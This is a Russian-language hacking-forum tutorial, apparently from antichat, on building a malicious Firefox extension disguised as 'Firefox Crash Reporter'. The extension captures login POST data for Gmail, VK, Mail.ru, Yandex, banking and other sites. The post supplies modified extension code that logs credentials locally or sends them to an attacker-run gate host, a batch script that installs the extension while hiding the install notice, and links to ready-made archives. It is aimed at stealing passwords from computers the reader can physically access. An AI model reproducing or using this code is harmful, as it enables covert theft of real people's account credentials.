PDA

Просмотр полной версии : Крадем пароли Firefox с помощью расширения


Ereee
08.07.2014, 03:40
0. INTRO

Все началось вот с этой темы (https://antichat.live/threads/414402/). Мне нужен был сниффер, чтобы украсть пароль от админки, имея физический доступ к компьютеру. Эту тему статьей не назовешь, в нем не будет никакого привата, но она, думаю, будет интересна для многих новичков, которым хочется узнать, на что способен казалось бы безобидное расширение.

1. Нужное

1. http://kaimi.ru/2012/06/simple-firefox-extension/

2. Notepad++

3. Denwer(необязательно, если цель - компьютер друга) или хостинг

4. Браузер Mozilla Firefox + расширение LiveHTTPHeaders

2. Подготовка

Скачиваем по первой ссылке из нужных архив с расширением (http://kaimi.ru/wp-content/uploads/2012/06/accelerator.zip) и распаковываем удобном для Вас месте.

1. Если это компьютер друга/подруги и т.д., можно сразу переходить к шагу "3. Действуем".

2. Если к цели можно получить физический доступ только один раз или целей много, установите Denwer, в папке Z:\home\test1.ru\www создаем файл test.php с содержимым(или сразу на хостинг):


PHP:


Это будет будущий гейт, для принятия паролей.

3. Действуем

В папке с распакованным расширением находим install.rdf, меняем все содержимое на:


Code:


code@google.com
Firefox Crash Reporter
2.1.0
2
Oh noes LTD

http://www.mozilla.org/



{ec8030f7-c20a-464f-9b0e-13a3a9e97384}
2.0
30.*





Сохраняем, открываем ./chrome/content/accelerator.js.

Видим


Code:
var log_host = "kaimi.ru";

замените на


Code:
var log_host = "test1.ru";

Строчкой ниже добавляем:


Code:
var need_host="accounts.google.com/ServiceLoginAuth|odnoklassniki.ru/https|login.vk.com|auth.mail.ru|passport.yandex.ru";

Это адреса авторизационных сервисов известных сайтов. Это означает, что мы можем украсть пароли от Gmail, OD, VK, Mail.Ru, Yandex.Ru. Хотите добавить свой сайт? Для этого мы устанавливали Mozilla Firefox + LiveHTTPHeaders:

1. Заходим на нужный сайт, на страницу авторизации(пусть у нас это будет mail.ru)

2. Жмем Инструменты => Просмотр HTTP заголовков

3. Вводим логин и пароль на сайте, неважно правильный или нет, жмем "Войти"

4. Смотрим в окне LiveHTTPHeaders, видим:

http://s020.radikal.ru/i708/1407/06/3bb9931b15eat.jpg (http://s020.radikal.ru/i708/1407/06/3bb9931b15ea.png)

Видим, как передаются наши данные. Вот оттуда и взялся в нашей переменной need_host значение auth.mail.ru.

По этому примеру можно сделать для банкинга, админки, Webmoney, Steam, электронного журнала оценок, букмекерских сайтов и т.д. и т.п. Ограничивается все Вашей фантазией.

Дальше.

Меняем условие:


Code:
if(http_channel.requestMethod == "POST")

на


Code:
if(http_channel.requestMethod == "POST" && new RegExp('^http(s?)://(?:www\.)*' + need_host, 'i').test(uri))

Этот условие значит, что мы крадем данные только тогда, когда метод передачи POST и этот сайт в списке need_host.

Находим:


Code:
req.send("uri=" + enc_uri + "&info=" + enc_data);

После ставим:


Code:
var txt = enc_uri+"||"+enc_data+"\n";
var file = Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).g et("ProfD", Components.interfaces.nsIFile);
file.append("crash_logs.txt"); //файл для сохранения
var fs = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutpu tStream);
fs.init(file, 0x02 | 0x08 | 0x10, 0664, 0); // write, create, append
fs.write(txt, txt.length); // записываем
fs.close(); //закрываем

Этот код отвечает за сохранение передаваемых логинов, паролей, а так же сайта в %APPDATA%\Mozilla\Firefox\Profiles\профайл. default\crash_logs.txt. Данные будут в формате urlencode(base64_encode(data)), как прочитать такой файл можно узнать в шаге "4. Тестируем".

Сохраняем.

Папка с расширением сейчас называется accelerator, переименуйте ее на code@google.com. Рядом с папкой code@google.com создаем файл install.bat с содержимым:


Code:
@echo off
set "destDir=%APPDATA%\Mozilla\Firefox\Profiles"
for /f %%d in ('dir /B /A:D "%destDir%"') do set "copyto=%%~d"
XCOPY code@google.com "%destDir%\%copyto%\extensions\code@google.com\" /H /E /G /Q /R /Y /D

copy "%destDir%\%copyto%\prefs.js" "%destDir%\%copyto%\temp.txt"
del "%destDir%\%copyto%\prefs.js"

start "" "C:\Program Files\Mozilla Firefox\firefox.exe"
PING -n 11 127.0.0.1>nul
taskkill.exe /f /im "firefox.exe"

copy "%destDir%\%copyto%\temp.txt" "%destDir%\%copyto%\prefs.js"
del "%destDir%\%copyto%\temp.txt"

Смысл этого батника: находим директорию с уникальным именем, копируем туда расширение, копируем файл настроек Firefox, запускаем Firefox, ждем 10 секунд и закрываем, копируем прежний файл настроек.

Такие шаги имели смысл для Firefox 3.*, так как с помощью этого файла можно было установить расширение, включить его и не показывать уведомление о установке нового расширения. А в новых версиях Firefox расширение не включается, но уведомления о новой установке нет, что радует. Следовательно, Вам надо проверить, включено ли расширение Firefox Crash Reporter 2.1.0, нажав Инструменты => Дополнения в меню Mozilla Firefox. Если нет - включаем.

Рядом сinstall.bat, для удобства создайте get_log.bat с содержимым:


Code:
@echo off
SET newtime=%date%-%time:~0,2%.%time:~3,2%.%time:~6,2%
set "destDir=%APPDATA%\Mozilla\Firefox\Profiles"
for /f %%d in ('dir /B /A:D "%destDir%"') do set "copyto=%%~d"
copy "%destDir%\%copyto%\crash_logs.txt" "log_%newtime%.txt"

Таким образом мы скопируем логи, которые достали и присвоим им уникальное имя - текущую дату и время.

Все готово.

Движок форума вставляет пробелы, поэтому у Вас обязательно будут синтаксические ошибки в коде, исходя из этого, ОБЯЗАТЕЛЬНО скачиваем готовые файлы и расширение(пароль antichat):

https://www.sendspace.com/file/866ox2

http://rghost.ru/private/56780319/4fad86834b7ba66b8492a77a2b681105

4. Тестируем

1. Запускаем из скаченного архива install.bat.

2. Запускаем Firefox, заходим к примеру на mail.ru, вводим любой логин и пароль.

3. Запускаем get_log.bat

В папке с распакованным архивом появится log_date_time.txt, вместо date и time, соответственно, дата и время.

log_date_time.txt имеет такой вид:


Code:
aHR0cHM6Ly9hdXRoLm1haWwucnUvY2dpLWJpbi9hdXRoP2Zyb2 09c3BsYXNo||RG9tYWluPW1haWwucnUmTG9naW49dGVzdCZQYX Nzd29yZD10ZXN0dGVzdCZuZXdfYXV0aF9mb3JtPTEmc2F2ZWF1 dGg9MQ%3D%3D

Жмем Ctrl+F, заменяем %3D на пустоту.

Получится:


Code:
aHR0cHM6Ly9hdXRoLm1haWwucnUvY2dpLWJpbi9hdXRoP2Zyb2 09c3BsYXNo||RG9tYWluPW1haWwucnUmTG9naW49dGVzdCZQYX Nzd29yZD10ZXN0dGVzdCZuZXdfYXV0aF9mb3JtPTEmc2F2ZWF1 dGg9MQ

Находим любой онлайн base64 decoder и декодируем.

До || это адрес сайта, а после переданные POST-данные.


Code:
aHR0cHM6Ly9hdXRoLm1haWwucnUvY2dpLWJpbi9hdXRoP2Zyb2 09c3BsYXNo => https://auth.mail.ru/cgi-bin/auth?from=splash
||
RG9tYWluPW1haWwucnUmTG9naW49dGVzdCZQYXNzd29yZD10ZX N0dGVzdCZuZXdfYXV0aF9mb3JtPTEmc2F2ZWF1dGg9MQ =>
Domain=mail.ru&Login=test&Password=testtest&new_auth_form=1&saveauth=1

Если используете гейт, скрипт автоматически распределяет по сайтам:

http://s61.radikal.ru/i171/1407/ec/883a74e0ad74t.jpg (http://s61.radikal.ru/i171/1407/ec/883a74e0ad74.png)

Результаты теста:

Firefox 3.5.2

http://s43.radikal.ru/i101/1407/e7/7ac10701b35et.jpg (http://s43.radikal.ru/i101/1407/e7/7ac10701b35e.png)

Firefox 29.0.1

http://s020.radikal.ru/i712/1407/a6/f292bc8e23aft.jpg (http://s020.radikal.ru/i712/1407/a6/f292bc8e23af.png)

Как я и говорил, в новых версиях Firefox не забудьте проверить, включен ли плагин. Batch file отработал хорошо на Windows XP и Win8, что можно и по скринам увидеть.

5. OUTRO

В незаконных целях не используйте, я лишь привел возможности. Вы можете украсть пароль, а можете попасть в тюрьму.

Всем удачи и благ!

OxoTnik
08.07.2014, 21:53
в блоги нужно перенести, или в статьй.